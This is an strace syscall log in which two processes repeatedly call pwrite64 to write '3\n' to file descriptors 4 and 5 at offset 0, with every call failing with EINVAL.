[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
[pid 5871] pwrite64(4, "3\n", 2, 0 <unfinished ...>
[pid 5872] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5871] <... pwrite64 resumed>) = -1 EINVAL (Invalid argument)
[pid 5872] pwrite64(5, "3\n", 2, 0 <unfinished ...>
